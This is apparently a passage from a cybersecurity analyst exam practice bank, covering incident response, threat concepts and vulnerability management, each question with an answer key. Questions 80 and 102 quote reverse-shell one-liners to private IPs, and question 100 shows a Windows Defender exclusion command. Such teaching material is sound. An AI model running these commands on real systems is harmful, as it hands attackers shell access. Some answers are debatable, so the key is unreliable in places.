  1. Ensure users the document system recovery plan prior to deployment.
  2. Perform a full system-level backup following the change.
  3. Leverage an audit tool to identify changes that are being made.
  4. Identify assets with dependence that could be impacted by the change.
  5. Require diagrams to be completed for all critical systems.
  6. Ensure that all assets are properly listed in the inventory management system.
Show answer and explanation

Correct answer: C, D. Leverage an audit tool to identify changes that are being made; Identify assets with dependence that could be impacted by the change.

Options C and D are key factors in reducing system failure impact. Leveraging audit tools to track changes provides visibility and accountability for what was modified, enabling rapid issue identification. Identifying dependent assets ensures changes don't cascade failures across interconnected systems. These practices directly mitigate the risk of change-related failures. Options A, B, E, and F involve good practices but are not the primary key factors for reducing system failure impact from changes.

Why the other options are wrong

  • A. While recovery planning is important, it addresses post-failure response rather than preventing impact through change management.
  • B. Backup procedures help with recovery but don't reduce the impact of changes themselves.
  • E. Diagram completion is documentation-focused and doesn't directly address impact reduction from changes.
  • F. Inventory management is important for asset tracking but isn't a primary factor in reducing change-related system failures.

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Question 76

Which of the following best describes the threat concept in which an organization works to ensure that all network users only open attachments from known sources?

  1. Hacktivist threat
  2. Advanced persistent threat
  3. Unintentional insider threat
  4. Nation-state threat
Show answer and explanation

Correct answer: C. Unintentional insider threat

This scenario describes an unintentional insider threat. The policy of only opening attachments from known sources is designed to mitigate risks from employees who might accidentally open malicious attachments due to human error, social engineering, or lack of security awareness. This represents an unintentional insider threat where well-meaning employees inadvertently compromise security through negligence or manipulation, rather than malicious intent.

Why the other options are wrong

  • A. Hacktivist threats are motivated by social or political causes and typically target organizations for activism purposes, not related to attachment handling policies.
  • B. Advanced persistent threats involve sophisticated, targeted attacks by skilled adversaries, not generic attachment handling vulnerabilities.
  • D. Nation-state threats involve government-sponsored attackers targeting strategic objectives, not unintentional employee attachment-opening behaviors.

Question 77

A cybersecurity analyst is doing triage in a SIEM and notices that the time stamps between the firewall and the host under investigation are off by 43 minutes.

Which of the following is the most likely scenario occurring with the time stamps?

  1. The NTP server is not configured on the host
  2. The cybersecurity analyst is looking at the wrong information
  3. The firewall is using UTC time
  4. The host with the logs is offline
Show answer and explanation

Correct answer: A. The NTP server is not configured on the host

A 43-minute timestamp discrepancy between systems indicates NTP (Network Time Protocol) is not properly configured on the host, causing significant clock drift. This is a classic symptom of time synchronization failure. UTC time differences would be consistent offsets for all logs from a system, not occurring at investigation time. The analyst is looking at relevant information from a SIEM triage. An offline host wouldn't appear in the SIEM logs being analyzed. NTP misconfiguration is the most likely and common cause of such large timestamp discrepancies.

Why the other options are wrong

  • B. A 43-minute discrepancy is too systematic to be analyst error
  • C. UTC time differences would create consistent offsets, not random 43-minute gaps
  • D. An offline host would not be generating logs visible in the SIEM

Question 78

Which of the following best describes the key elements of a successful information security program?

  1. Business impact analysis, asset and change management, and security communication plan
  2. Security policy implementation, assignment of roles and responsibilities, and information asset classification
  3. Disaster recovery and business continuity planning, and the definition of access control requirements and human resource policies
  4. Senior management organizational structure, message distribution standards, and procedures for the operation of security management systems
Show answer and explanation

Correct answer: B. Security policy implementation, assignment of roles and responsibilities, and information asset classification

Security policy implementation, assignment of roles and responsibilities, and information asset classification are fundamental elements that establish the framework and governance structure of a successful information security program. These form the foundation upon which all other security activities depend.

Why the other options are wrong

  • A. While BIA and change management are important, they are not foundational to all security programs equally.
  • C. These are important but represent specific functions rather than key program elements.
  • D. Organizational structure and message standards are operational details, not key elements of program success.

Question 79

A security analyst has received an incident case regarding malware spreading out of control on a customer's network. The analyst is unsure how to respond. The configured EDR has automatically obtained a sample of the malware and its signature.

Which of the following should the analyst perform next to determine the type of malware based on its telemetry?

  1. Cross-reference the signature with open-source threat intelligence.
  2. Configure the EDR to perform a full scan.
  3. Transfer the malware to a sandbox environment.
  4. Log in to the affected systems and run netstat.
Show answer and explanation

Correct answer: A. Cross-reference the signature with open-source threat intelligence.

The next step in the incident response process is to cross-reference the malware signature with open-source threat intelligence. This allows the analyst to quickly identify the malware type, its known behaviors, indicators of compromise (IOCs), and documented remediation steps from the community without introducing additional risk. This is faster and safer than the alternatives and leverages existing knowledge to triage the incident effectively.

Why the other options are wrong

  • B. A full EDR scan would generate more alerts and consume resources; understanding the malware first is more efficient.
  • C. While sandbox analysis is valuable for deep analysis, it's a time-consuming step that comes after initial triage and signature identification.
  • D. Running netstat on affected systems is useful for network analysis but doesn't determine the malware type and may interfere with active incident response.

Question 80

While reviewing web server logs, a security analyst discovers the following suspicious line: php -r ’$socket=fsockopen("10.0.0.1", 1234); passthru ("/bin/sh -i <&3 >&3 2>&3");’

Which of the following is being attempted?

  1. Remote file inclusion
  2. Command injection
  3. Server-side request forgery
  4. Reverse shell
Show answer and explanation

Correct answer: D. Reverse shell

The PHP code establishes a socket connection to a remote IP and port (10.0.0.1:1234), then executes an interactive shell (/bin/sh -i) with input/output redirected through the socket. This is the classic definition of a reverse shell, the attacker gains interactive command execution on the victim system with a connection back to their control server.

Why the other options are wrong

  • A. Remote file inclusion involves loading external files via web parameters, not establishing socket connections for shell access.
  • B. Command injection inserts malicious commands into existing application inputs, not a complete shell establishment technique.
  • C. Server-side request forgery makes the server initiate requests to internal/external resources, not establishing reverse shells for interactive access.

Question 81

During an incident in which a user machine was compromised, an analyst recovered a binary file that potentially caused the exploitation.

Which of the following techniques could be used for further analysis?

  1. Fuzzing
  2. Static analysis
  3. Sandboxing
  4. Packet capture
Show answer and explanation

Correct answer: B. Static analysis

Static analysis is the most appropriate technique for analyzing a recovered binary file, as it involves examining the code without executing it. This allows the analyst to identify malicious code, signatures, and exploitation vectors without risking system compromise from execution.

Why the other options are wrong

  • A. Fuzzing is a technique for finding vulnerabilities in software by providing invalid inputs, not for analyzing already-recovered malicious binaries.
  • C. Sandboxing allows execution of the binary in a controlled environment, but static analysis should typically be performed first to understand the binary's behavior before execution.
  • D. Packet capture analyzes network traffic and would not directly analyze the binary file itself.

Question 82

A team of analysts is developing a new internal system that correlates information from a variety of sources, analyzes that information, and then triggers notifications according to company policy.

Which of the following technologies was deployed?

  1. SIEM
  2. SOAR
  3. IPS
  4. CERT
Show answer and explanation

Correct answer: A. SIEM

A SIEM (Security Information and Event Management) system correlates information from multiple sources, analyzes that data, and generates automated alerts based on configured policies. This matches the described system's core functionality of ingesting diverse data sources, performing correlation and analysis, and triggering notifications according to company policy. SIEM is the foundational technology for this type of internal security monitoring and alerting system.

Why the other options are wrong

  • B. SOAR focuses on automated response and orchestration of security tools, not on correlation and notification triggering for policy-based events.
  • C. IPS (Intrusion Prevention System) is a network security tool that blocks traffic, not a system that correlates multi-source information and triggers notifications.
  • D. CERT refers to Computer Emergency Response Teams, which are organizational units, not technologies that correlate information and trigger notifications.

Question 83

Which of the following statements best describes the MITRE ATT&CK framework?

  1. It provides a comprehensive method to test the security of applications.
  2. It provides threat intelligence sharing and development of action and mitigation strategies.
  3. It helps identify and stop enemy activity by highlighting the areas where an attacker functions.
  4. It tracks and understands threats and is an open-source project that evolves.
  5. It breaks down intrusions into a clearly defined sequence of phases.
Show answer and explanation

Correct answer: C. It helps identify and stop enemy activity by highlighting the areas where an attacker functions.

MITRE ATT&CK helps identify and stop adversary activity by providing visibility into where attackers function throughout the attack lifecycle. It serves as a knowledge base that highlights attack techniques across different stages, enabling defenders to understand and counter threat actor behavior. Option D is partially correct but less specific about the primary purpose. Option E describes the Cyber Kill Chain, not ATT&CK. Options A and B describe different frameworks or purposes.

Why the other options are wrong

  • A. MITRE ATT&CK doesn't test application security; it documents threat behaviors.
  • B. While ATT&CK informs intelligence sharing, this doesn't describe its primary function.
  • D. Though ATT&CK does evolve as an open-source project, the best description focuses on helping defenders understand attacker functioning.
  • E. Breaking intrusions into sequential phases describes the Cyber Kill Chain, not ATT&CK.

Question 84

A security administrator has been notified by the IT operations department that some vulnerability reports contain an incomplete list of findings.

Which of the following methods should be used to resolve this issue?

  1. Credentialed scar
  2. External scan
  3. Differential scan
  4. Network scan
Show answer and explanation

Correct answer: A. Credentialed scar

A credentialed scan uses valid authentication credentials to log into systems and perform deeper assessments, allowing the scanner to access internal configurations and installed software that unauthenticated scans cannot reach. This provides a more complete list of findings compared to external or non-credentialed scans, which are limited to what is visible from outside the system.

Why the other options are wrong

  • B. External scans are performed from outside the network and would have even fewer findings than already incomplete reports.
  • C. Differential scans compare results between two scans but don't inherently provide more complete findings.
  • D. Network scans are generic and may not provide the depth needed to complete the vulnerability inventory.

Question 85

A security analyst is responding to an incident that involves a malicious attack on a network data closet.

Which of the following best explains how the analyst should properly document the incident?

  1. Back up the configuration file for all network devices.
  2. Record and validate each connection.
  3. Create a full diagram of the network infrastructure.
  4. Take photos of the impacted items.
Show answer and explanation

Correct answer: D. Take photos of the impacted items.

Taking photos of impacted items is the best method for documenting a physical attack on network infrastructure. Photography provides visual evidence of damage, tampering, or physical alterations to equipment, creating an objective record that can be preserved and reviewed during investigation and for forensic purposes.

Why the other options are wrong

  • A. Backing up configuration files preserves data but does not document the physical incident or damage to equipment.
  • B. Recording connections is relevant to network incidents but does not document physical damage from an attack on the data closet.
  • C. Creating a network diagram documents infrastructure but does not specifically document the incident or physical changes to equipment.

Question 86

Which of the following does "federation" most likely refer to within the context of identity and access management?

  1. Facilitating groups of users in a similar function or profile to system access that requires elevated or conditional access
  2. An authentication mechanism that allows a user to utilize one set of credentials to access multiple domains
  3. Utilizing a combination of what you know who you are, and what you have to grant authentication to a user
  4. Correlating one's identity with the attributes and associated applications the user has access to
Show answer and explanation

Correct answer: B. An authentication mechanism that allows a user to utilize one set of credentials to access multiple domains

Federation in IAM context refers to an authentication mechanism that allows users to use a single set of credentials across multiple domains and organizations. This enables single sign-on (SSO) capabilities where a user authenticates once with their federated identity provider and gains access to multiple integrated systems and applications without re-entering credentials. Common examples include SAML, OAuth, and OpenID Connect implementations.

Why the other options are wrong

  • A. This describes role-based access control and conditional access policies, not federation itself.
  • C. This describes multi-factor authentication combining knowledge factors and possession factors, not federation.
  • D. This describes identity correlation and access mapping, which is related to but distinct from the federation mechanism.

Question 87

A company is deploying new vulnerability scanning software to assess its systems. The current network is highly segmented, and the networking team wants to minimize the number of unique firewall rules.

Which of the following scanning techniques would be most efficient to achieve the objective?

  1. Deploy agents on all systems to perform the scans
  2. Deploy a central scanner and perform non-credentialed scans
  3. Deploy a cloud-based scanner and perform a network scan
  4. Deploy a scanner sensor on every segment and perform credentialed scans
Show answer and explanation

Correct answer: A. Deploy agents on all systems to perform the scans

Agents installed on each system perform the scan locally and send results outbound to a central console. This avoids needing firewall rules that let a scanner reach into every segment, which suits a highly segmented network. It is the most efficient way to minimize unique firewall rules.

Why the other options are wrong

  • B. A central scanner must reach every segment across the network, requiring many firewall rules through the segmentation.
  • C. A cloud-based network scanner would need inbound rules into each internal segment, adding rather than reducing firewall rules.
  • D. A scanner sensor on every segment adds hardware and still needs rules for each sensor to communicate with management, so it is less efficient than agents.

Question 88

A recent vulnerability scan resulted in an abnormally large number of critical and high findings that require patching. The SLA requires that the findings be remediated within a specific amount of time.

Which of the following is the best approach to ensure all vulnerabilities are patched in accordance with the SLA?

  1. Integrate an IT service delivery ticketing system to track remediation and closure
  2. Create a compensating control item until the system can be fully patched
  3. Accept the risk and decommission current assets as end of life
  4. Request an exception and manually patch each system
Show answer and explanation

Correct answer: A. Integrate an IT service delivery ticketing system to track remediation and closure

Integrating an IT service delivery ticketing system provides systematic tracking, automated workflow management, accountability assignments, SLA monitoring with alerts, progress visibility, and closure validation. This ensures coordinated, measurable remediation that can meet the SLA deadline through proper resource allocation and status tracking. A ticketing system transforms ad-hoc patching into a managed process that can handle abnormally large numbers of findings efficiently.

Why the other options are wrong

  • B. Compensating controls delay the actual remediation and don't address the underlying vulnerabilities within the SLA timeframe.
  • C. Decommissioning assets may not be feasible and doesn't resolve existing vulnerabilities; it's premature when remediation is possible.
  • D. Manual patching of each system is inefficient, error-prone, and unlikely to meet aggressive SLAs for large numbers of findings.

Question 89

An analyst wants to ensure that users only leverage web-based software that has been pre-approved by the organization.

Which of the following should be deployed?

  1. Blocklisting
  2. Allowlisting
  3. Graylisting
  4. Webhooks
Show answer and explanation

Correct answer: B. Allowlisting

Allowlisting ensures users can only access pre-approved web-based software by explicitly permitting only designated applications and blocking everything else. This is the most restrictive and secure approach for enforcing organizational software approval policies. Blocklisting (blacklisting) only blocks known bad apps while allowing unknown ones. Graylisting is for uncertain categorization. Webhooks are for automated integrations.

Why the other options are wrong

  • A. Blocklisting only prevents known unapproved software but allows unknown software through.
  • C. Graylisting is for uncertain categorization, not for enforcing pre-approved software policies.
  • D. Webhooks are automation mechanisms for integrating services, not for controlling software access.

Question 90

Joe, a leading sales person at an organization, has announced on social media that he is leaving his current role to start a new company that will compete with his current employer. Joe is soliciting his current employer's customers. However, Joe has not resigned or discussed this with his current supervisor yet.

Which of the following would be the best action for the incident response team to recommend?

  1. Isolate Joe's PC from the network
  2. Reimage the PC based on standard operating procedures
  3. Initiate a remote wipe of Joe's PC using mobile device management
  4. Perform no action until HR or legal counsel advises on next steps
Show answer and explanation

Correct answer: D. Perform no action until HR or legal counsel advises on next steps

Before taking any technical action that could impact an employee, HR and legal counsel must be consulted to ensure compliance with employment law, contractual obligations, and organizational policies. Premature technical actions could expose the organization to legal liability and complicate investigations.

Why the other options are wrong

  • A. Isolating the PC without legal/HR guidance could violate employment rights and legal requirements.
  • B. Reimaging without proper authorization could constitute inappropriate evidence handling and legal violations.
  • C. Remote wiping devices without legal consultation could destroy evidence and violate employment laws.

Question 91

A company is implementing a vulnerability management program and moving from an on-premises environment to a hybrid IaaS cloud environment.

Which of the following implications should be considered on the new hybrid environment?

  1. The current scanners should be migrated to the cloud
  2. Cloud-specific misconfigurations may not be detected by the current scanners
  3. Existing vulnerability scanners cannot scan IaaS systems
  4. Vulnerability scans on cloud environments should be performed from the cloud
Show answer and explanation

Correct answer: B. Cloud-specific misconfigurations may not be detected by the current scanners

Cloud-specific misconfigurations such as overly permissive IAM policies, exposed storage buckets, insecure API endpoints, and misconfigured security groups may not be detected by traditional on-premises vulnerability scanners designed for network and system vulnerabilities. These scanners typically focus on CVEs and application-level issues, not the configuration vulnerabilities endemic to IaaS platforms like AWS, Azure, or GCP. The organization must augment its scanning program with cloud-native security tools.

Why the other options are wrong

  • A. Migrating existing scanners to cloud is not necessary; specialized cloud scanners can supplement them.
  • C. Existing vulnerability scanners can scan systems in IaaS, though they have limitations.
  • D. Scans can be performed from on-premises or cloud; location is not the primary issue.

Question 92

A web application team notifies a SOC analyst that there are thousands of HTTP/404 events on the public-facing web server.

Which of the following is the next step for the analyst to take?

  1. Instruct the firewall engineer that a rule needs to be added to block this external server
  2. Escalate the event to an incident and notify the SOC manager of the activity
  3. Notify the incident response team that there is a DDoS attack occurring
  4. Identify the IP/hostname for the requests and look at the related activity
Show answer and explanation

Correct answer: D. Identify the IP/hostname for the requests and look at the related activity

The correct incident response approach is to investigate first by identifying the source IP/hostname and correlating related activity. This determines whether the 404s indicate scanning, enumeration, legitimate failed requests, or other activity. Blocking without investigation (A) is premature, escalating immediately (B) lacks context, and assuming DDoS (C) is premature, 404s typically don't indicate DDoS attacks. Proper triage requires context before action.

Why the other options are wrong

  • A. Adding firewall rules without investigation may block legitimate traffic or miss the actual threat.
  • B. Escalating without analysis wastes incident response resources and lacks actionable intelligence.
  • C. 404 errors are typically enumeration or scanning activity, not characteristic of DDoS attacks.

Question 93

Which of the following in the digital forensics process is considered a critical activity that often includes a graphical representation of process and operating system events?

  1. Registry editing
  2. Network mapping
  3. Timeline analysis
  4. Write blocking
Show answer and explanation

Correct answer: C. Timeline analysis

Timeline analysis is a critical digital forensics activity that reconstructs the sequence of events and creates graphical representations of process and operating system activities to establish what occurred during an incident investigation.

Why the other options are wrong

  • A. Registry editing is a modification activity, not an analysis activity, and doesn't involve graphical event representation.
  • B. Network mapping identifies network structure and connections, not process or OS events.
  • D. Write blocking is a preservation technique that prevents data modification, not an analytical process.

Question 94

A technician identifies a vulnerability on a server and applies a software patch.

Which of the following should be the next step in the remediation process?

  1. Testing
  2. Implementation
  3. Validation
  4. Rollback
Show answer and explanation

Correct answer: C. Validation

Validation is the next step after applying a patch because the organization must confirm that the patch was successfully applied, that the vulnerability has been remediated, and that no adverse side effects occurred. Testing typically occurs before implementation in a controlled environment, while validation occurs after implementation on the production system to verify effectiveness. Rollback is only performed if validation reveals problems.

Why the other options are wrong

  • A. Testing should occur before implementation in a test environment.
  • B. Implementation (patch application) has already been done in the scenario.
  • D. Rollback is a contingency action only if validation reveals failure.

Question 95

During an incident, a security analyst discovers a large amount of PII has been emailed externally from an employee to a public email address. The analyst finds that the external email is the employee’s personal email.

Which of the following should the analyst recommend be done first?

  1. Place a legal hold on the employee’s mailbox.
  2. Enable filtering on the web proxy.
  3. Disable the public email access with CASB.
  4. Configure a deny rule on the firewall.
Show answer and explanation

Correct answer: A. Place a legal hold on the employee’s mailbox.

When PII has been exfiltrated, the first priority is preservation of evidence and preventing destruction or alteration of records. Placing a legal hold on the employee's mailbox (A) accomplishes this by preventing deletion and preserving the email trail for investigation and potential legal proceedings. While proxy filtering (B), CASB controls (C), and firewall rules (D) are preventive measures for future incidents, they do nothing to preserve the evidence of the current breach or prevent the employee from destroying evidence.

Why the other options are wrong

  • B. Web proxy filtering prevents future incidents but doesn't address current evidence preservation.
  • C. CASB controls prevent future cloud access but don't preserve existing evidence.
  • D. Firewall rules prevent future data exfiltration but don't preserve existing communications.

Question 96

A manufacturer has hired a third-party consultant to assess the security of an OT network that includes both fragile and legacy equipment.

Which of the following must be considered to ensure the consultant does no harm to operations?

  1. Employing Nmap Scripting Engine scanning techniques
  2. Preserving the state of PLC ladder logic prior to scanning
  3. Using passive instead of active vulnerability scans
  4. Running scans during off-peak manufacturing hours
Show answer and explanation

Correct answer: C. Using passive instead of active vulnerability scans

Passive vulnerability scanning observes network traffic and systems without sending active probes that could disrupt fragile or legacy OT equipment. Active scanning techniques like Nmap can cause system crashes, PLC resets, or process interruptions in operational technology environments. Passive scanning gathers security information while ensuring zero operational impact, making it the essential requirement for assessing legacy and sensitive industrial equipment.

Why the other options are wrong

  • A. Nmap Scripting Engine techniques are active scanning methods that could destabilize OT equipment.
  • B. While preserving PLC state is good practice, passive scanning is the fundamental requirement that prevents the need for this step.
  • D. Off-peak scanning is helpful but doesn't address the fundamental risk that active scans pose to fragile legacy equipment.

Question 97

Following a recent security incident, the Chief Information Security Officer is concerned with improving visibility and reporting of malicious actors in the environment. The goal is to reduce the time to prevent lateral movement and potential data exfiltration.

Which of the following techniques will best achieve the improvement?

  1. Mean time to detect
  2. Mean time to respond
  3. Mean time to remediate
  4. Service-level agreement uptime
Show answer and explanation

Correct answer: A. Mean time to detect

Mean Time to Detect (MTTD) directly measures how quickly malicious actors are identified in the environment. Reducing MTTD is the key metric for improving visibility and enabling faster prevention of lateral movement and data exfiltration, as earlier detection allows quicker containment.

Why the other options are wrong

  • B. Mean Time to Respond measures response speed, not detection speed; detection must occur before response begins.
  • C. Mean Time to Remediate measures remediation duration, not the ability to detect threats early.
  • D. Service-level agreement uptime is unrelated to detecting malicious actors or preventing lateral movement.

Question 98

An organization is conducting a pilot deployment of an e-commerce application. The application’s source code is not available.

Which of the following strategies should an analyst recommend to evaluate the security of the software?

  1. Static testing
  2. Vulnerability testing
  3. Dynamic testing
  4. Penetration testing
Show answer and explanation

Correct answer: C. Dynamic testing

Dynamic testing is the appropriate strategy when source code is unavailable. It involves testing the application in its running state by observing behavior, inputs, and outputs, making it ideal for evaluating security of applications where code access is not possible.

Why the other options are wrong

  • A. Static testing requires access to source code to analyze code structure and logic.
  • B. Vulnerability testing is a general category but not the most specific answer for this scenario.
  • D. Penetration testing is more comprehensive and typically performed after initial security assessment.

Question 99

A cybersecurity analyst is reviewing SIEM logs and observes consistent requests originating from an internal host to a blocklisted external server.

Which of the following best describes the activity that is taking place?

  1. Data exfiltration
  2. Rogue device
  3. Scanning
  4. Beaconing
Show answer and explanation

Correct answer: D. Beaconing

Beaconing is the characteristic pattern of a compromised system repeatedly attempting to contact a command and control (C2) server, often at regular intervals. The description of consistent requests from an internal host to a blocklisted external server is the classic signature of a beaconing infected device checking in with its handlers.

Why the other options are wrong

  • A. Data exfiltration typically involves large data transfers, not just consistent requests.
  • B. A rogue device is an unauthorized device on the network, not necessarily exhibiting communication patterns with external servers.
  • C. Scanning involves probing multiple targets for vulnerabilities, not repeated communication with a single blocklisted server.

Question 100

An employee downloads a freeware program to change the desktop to the classic look of legacy Windows. Shortly after the employee installs the program, a high volume of random DNS queries begin to originate from the system. An investigation on the system reveals the following:

Add-MpPreference –ExclusionPath ‘%Program Files%\ksyconfig’

Which of the following is possibly occurring?

  1. Persistence
  2. Privilege escalation
  3. Credential harvesting
  4. Defense evasion
Show answer and explanation

Correct answer: D. Defense evasion

The PowerShell command Add-MpPreference –ExclusionPath excludes a directory from Windows Defender scanning, which is a classic defense evasion technique. By excluding the ksyconfig directory, malware can operate without being detected by antivirus. The random DNS queries indicate the malware is active. While persistence (A) involves maintaining access, privilege escalation (B) involves gaining higher privileges, and credential harvesting (C) involves stealing credentials, the key evidence here is the explicit exclusion from security scanning, which is defense evasion.

Why the other options are wrong

  • A. Persistence involves maintaining long-term access, not evading detection.
  • B. Privilege escalation involves gaining higher permissions, not antivirus evasion.
  • C. Credential harvesting involves stealing credentials, not disabling security tools.

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Question 101

During an extended holiday break, a company suffered a security incident. This information was properly relayed to appropriate personnel in a timely manner and the server was up to date and configured with appropriate auditing and logging. The Chief Information Security Officer wants to find out precisely what happened.

Which of the following actions should the analyst take first?

  1. Clone the virtual server for forensic analysis
  2. Log m to the affected server and begin analysis of the logs
  3. Restore from the last known-good backup to confirm there was no loss of connectivity
  4. Shut down the affected server immediately
Show answer and explanation

Correct answer: A. Clone the virtual server for forensic analysis

Before any analysis or logging access occurs, the first action must be to preserve the evidence in its current state. Cloning the virtual server creates a forensic image that maintains chain of custody and prevents alteration of the original system. Live analysis (option B) risks modifying volatile data and the system state. Restoring from backup (option C) would overwrite potential evidence. Shutting down immediately (option D) without preservation loses volatile evidence and contradicts proper forensic procedure when the system is already isolated.

Why the other options are wrong

  • B. Live analysis on the active system risks contaminating evidence and modifying the environment.
  • C. Restoring from backup destroys the current state and any evidence of what actually occurred.
  • D. Shutting down without first capturing an image loses all volatile memory evidence and runtime state.

Question 102

A security analyst detects an exploit attempt containing the following command: sh -i >& /dev/udp/10.1.1.1/4821 0>$l

Which of the following is being attempted?

  1. RCE
  2. Reverse shell
  3. XSS
  4. SQL injection
Show answer and explanation

Correct answer: B. Reverse shell

The command launches an interactive shell (sh -i) and redirects both its standard output and standard input through a network device file pointing at a remote host and port (/dev/udp/10.1.1.1/4821). That pattern makes the victim machine initiate an outbound connection back to the attacker's listener and hand it a shell, which is the textbook definition of a reverse shell.

Why the other options are wrong

  • A. Remote code execution is the delivery mechanism that would run this payload, but the payload itself is specifically establishing an outbound shell session.
  • C. Cross-site scripting involves injecting script into web pages rendered by other users, not shell redirection to a UDP socket.
  • D. SQL injection manipulates database query syntax; no SQL statements or database interaction appear here.

Question 103

Which of the following threat-modeling procedures is in the OWASP Web Security Testing Guide?

  1. Review of security requirements
  2. Compliance checks
  3. Decomposing the application
  4. Security by design
Show answer and explanation

Correct answer: C. Decomposing the application

Decomposing the application is a core threat-modeling procedure documented in the OWASP Web Security Testing Guide. This involves breaking down the application into components to identify trust boundaries, data flows, and entry points for threat analysis.

Why the other options are wrong

  • A. Security requirements review is a security planning activity, not specifically a threat-modeling procedure in OWASP guidance.
  • B. Compliance checks are compliance activities, not threat-modeling procedures.
  • D. Security by design is a principle, not a specific threat-modeling procedure in the OWASP testing guide.

Question 104

An attacker has just gained access to the syslog server on a LAN. Reviewing the syslog entries has allowed the attacker to prioritize possible next targets.

Which of the following is this an example of?

  1. Passive network footprinting
  2. OS fingerprinting
  3. Service port identification
  4. Application versioning
Show answer and explanation

Correct answer: A. Passive network footprinting

Passive network footprinting is the process of gathering information about a network and its systems without active scanning or probing. By reviewing syslog entries, the attacker passively collected information about systems, services, and network activity to identify and prioritize targets without sending suspicious traffic that might trigger alerts.

Why the other options are wrong

  • B. OS fingerprinting typically involves analyzing responses to probes to determine operating systems, not reviewing log files.
  • C. Service port identification through passive means uses traffic analysis, not syslog review for target prioritization.
  • D. Application versioning is gathering specific software versions, which may be in logs but represents a more specific technique than the general passive footprinting being demonstrated.

Question 105

A cybersecurity team lead is developing metrics to present in the weekly executive briefs. Executives are interested in knowing how long it takes to stop the spread of malware that enters the network.

Which of the following metrics should the team lead include in the briefs?

  1. Mean time between failures
  2. Mean time to detect
  3. Mean time to remediate
  4. Mean time to contain
Show answer and explanation

Correct answer: D. Mean time to contain

Mean time to contain (MTTC) measures how long it takes to stop the spread of malware after detection, exactly what executives asked about. This metric directly addresses stopping malware propagation. Mean time to detect measures detection time, mean time to remediate measures full resolution time, and mean time between failures measures system uptime, none of which specifically measure containment speed.

Why the other options are wrong

  • A. Mean time between failures measures system reliability and uptime, not incident response
  • B. Mean time to detect measures discovery speed but not the stopping/containment of spread
  • C. Mean time to remediate measures full cleanup but executives specifically asked about stopping spread, which is containment

Question 106

Which of the following should be updated after a lessons-learned review?

  1. Disaster recovery plan
  2. Business continuity plan
  3. Tabletop exercise
  4. Incident response plan
Show answer and explanation

Correct answer: D. Incident response plan

After a lessons-learned review following an incident, the incident response plan itself should be updated to incorporate findings, improve procedures, and address gaps identified during the incident and review. This directly feeds back into the plan used for future incidents, making it the primary artifact requiring updates.

Why the other options are wrong

  • A. While DR plans may be indirectly affected, lessons-learned specifically target incident response processes.
  • B. BC plans are broader strategic documents; incident response plan updates are more specific and direct.
  • C. A tabletop exercise is a training activity, not a document requiring updates based on lessons-learned reviews.

Question 107

After conducting a cybersecurity risk assessment for a new software request, a Chief Information Security Officer (CISO) decided the risk score would be too high. The CISO refused the software request.

Which of the following risk management principles did the CISO select?

  1. Avoid
  2. Transfer
  3. Accept
  4. Mitigate
Show answer and explanation

Correct answer: A. Avoid

Risk avoidance involves refusing or discontinuing an activity to eliminate the risk entirely. By rejecting the software request due to excessive risk, the CISO chose not to accept the risk at all, which is the definition of risk avoidance.

Why the other options are wrong

  • B. Transfer would involve shifting risk to a third party through insurance or outsourcing.
  • C. Accept would mean acknowledging and tolerating the risk despite its high score.
  • D. Mitigate would involve implementing controls to reduce the risk to acceptable levels.

Question 108

A systems administrator is reviewing after-hours traffic flows from data-center servers and sees regular outgoing HTTPS connections from one of the servers to a public IP address. The server should not be making outgoing connections after hours. Looking closer, the administrator sees this traffic pattern around the clock during work hours as well.

Which of the following is the most likely explanation?

  1. C2 beaconing activity
  2. Data exfiltration
  3. Anomalous activity on unexpected ports
  4. Network host IP address scanning
  5. A rogue network device
Show answer and explanation

Correct answer: A. C2 beaconing activity

Regular outgoing HTTPS connections to a public IP address around the clock, to a destination the server should not contact, is classic command-and-control (C2) beaconing behavior. The consistency of the pattern and the fact it occurs during both work and after-hours indicates automated malicious communication rather than legitimate business activity. Data exfiltration (option B) may use HTTPS but wouldn't necessarily show regular patterns. Anomalous ports (option C) is vague and less specific. IP scanning (option D) and rogue devices (option E) don't match the described behavior pattern.

Why the other options are wrong

  • B. Data exfiltration would typically involve larger data transfers rather than regular small connection patterns.
  • C. This describes the symptom but not the most likely cause; HTTPS uses expected ports.
  • D. Host scanning would show different network behavior patterns, not regular connections to a single IP.
  • E. A rogue device would not explain outgoing connections originating from the specific server.

Question 109

A security analyst needs to secure digital evidence related to an incident. The security analyst must ensure that the accuracy of the data cannot be repudiated.

Which of the following should be implemented?

  1. Offline storage
  2. Evidence collection
  3. Integrity validation
  4. Legal hold
Show answer and explanation

Correct answer: C. Integrity validation

Integrity validation ensures that evidence has not been altered and cannot be repudiated, typically through cryptographic hashing and chain-of-custody documentation. This directly addresses the requirement that accuracy cannot be denied or challenged. Offline storage protects availability but doesn't prevent repudiation of accuracy. Evidence collection is the process but doesn't ensure non-repudiation of data accuracy. Legal hold preserves data but doesn't validate its integrity or prevent repudiation claims.

Why the other options are wrong

  • A. Offline storage protects data but doesn't prevent repudiation of accuracy
  • B. Evidence collection is a process step, not a mechanism for ensuring accuracy validation
  • D. Legal hold preserves data but doesn't validate integrity or prevent repudiation

Question 110

An analyst discovers unusual outbound connections to an IP that was previously blocked at the web proxy and firewall. Upon further investigation, it appears that the proxy and firewall rules that were in place were removed by a service account that is not recognized.

Which of the following parts of the Cyber Kill Chain does this describe?

  1. Delivery
  2. Command and control
  3. Reconnaissance
  4. Weaponization
Show answer and explanation

Correct answer: B. Command and control

The scenario describes the Command and Control phase of the Kill Chain. After compromising a service account and removing security controls (proxy/firewall rules), the attacker establishes a communication channel (outbound connections to a previously blocked IP) to command and control compromised systems. This is the phase where the attacker gains the ability to communicate with and control the compromised infrastructure.

Why the other options are wrong

  • A. Delivery would be getting malware or exploit code to the target.
  • C. Reconnaissance is information gathering before the attack.
  • D. Weaponization is preparing the exploit/payload, not establishing C2 channels.

Question 111

A SOC analyst identifies the following content while examining the output of a debugger command over a client-server application: getConnection(database01,"alpha" ,"AxTv.127GdCx94GTd");

Which of the following is the most likely vulnerability in this system?

  1. Lack of input validation
  2. SQL injection
  3. Hard-coded credential
  4. Buffer overflow
Show answer and explanation

Correct answer: C. Hard-coded credential

The debugger output shows a database connection string with what appears to be a username ('alpha') and password ('AxTv.127GdCx94GTd') embedded directly in the application code. This is a classic example of a hard-coded credential, a serious vulnerability that allows anyone with access to the source code or compiled binary to obtain database access.

Why the other options are wrong

  • A. Lack of input validation would affect how user-supplied data is processed, not credentials in connection strings.
  • B. SQL injection involves manipulating SQL queries through input, not credentials visible in code.
  • D. Buffer overflow is a memory-based vulnerability unrelated to database connection parameters.

Question 112

